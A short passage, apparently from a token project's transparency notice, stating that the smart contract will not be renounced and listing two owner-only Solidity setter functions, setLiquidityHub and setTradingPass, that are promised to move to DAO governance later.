This contract will NOT be renounced.

The following are the only functions that can be called on the contract that affect the contract:

    function setLiquidityHub(address liquidityHub_) external onlyOwner {
        liquidityHub = ILiquidityHub(liquidityHub_);
    }

    function setTradingPass(address tradingPassAddress) external onlyOwner {

These functions will be passed to DAO governance once the ecosystem stabilizes.
